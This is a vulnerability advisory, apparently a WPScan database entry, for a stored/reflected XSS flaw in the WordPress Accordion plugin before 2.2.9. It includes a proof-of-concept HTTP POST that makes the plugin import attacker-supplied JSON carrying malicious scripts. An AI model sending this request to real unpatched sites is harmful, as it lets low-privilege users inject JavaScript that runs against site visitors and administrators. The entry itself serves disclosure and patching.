Accordion < 2.2.9 - Unprotected AJAX Action to Stored/Reflected XSS



Description
"This flaw allowed any authenticated user with subscriber-level and above permissions the ability to import a new accordion and inject malicious Javascript as part of the accordion."
Proof of Concept
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: URL
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Origin: URL
Referer: URL
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: 
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 97

action=accordions_ajax_import_json&json_file=URL/importjsondata.json

*where importjsondata.json contains the malicious scripts 

Affects Plugin

fixed in version 2.2.9

References

URL https://www.wordfence.com/blog/2020/04/vulnerability-patched-in-accordion-plugin/

Classification

Type XSS
OWASP Top 10 A7: Cross-Site Scripting (XSS)
CWE CWE-79

Miscellaneous

Original Researcher Chloe Chamberland
Submitter Chloe Chamberland
Submitter Website https://wordfence.com
Submitter Twitter infosecchloe
Views 1934
Verified No
WPVDB ID 10179

Timeline

Publicly Published 2020-04-14 (about 1 month ago)
Added 2020-04-14 (about 1 month ago)
Last Updated 2020-04-15 (about 1 month ago)

Our Other Services

Online WordPress Vulnerability Scanner WPScan WordPress Security Plugin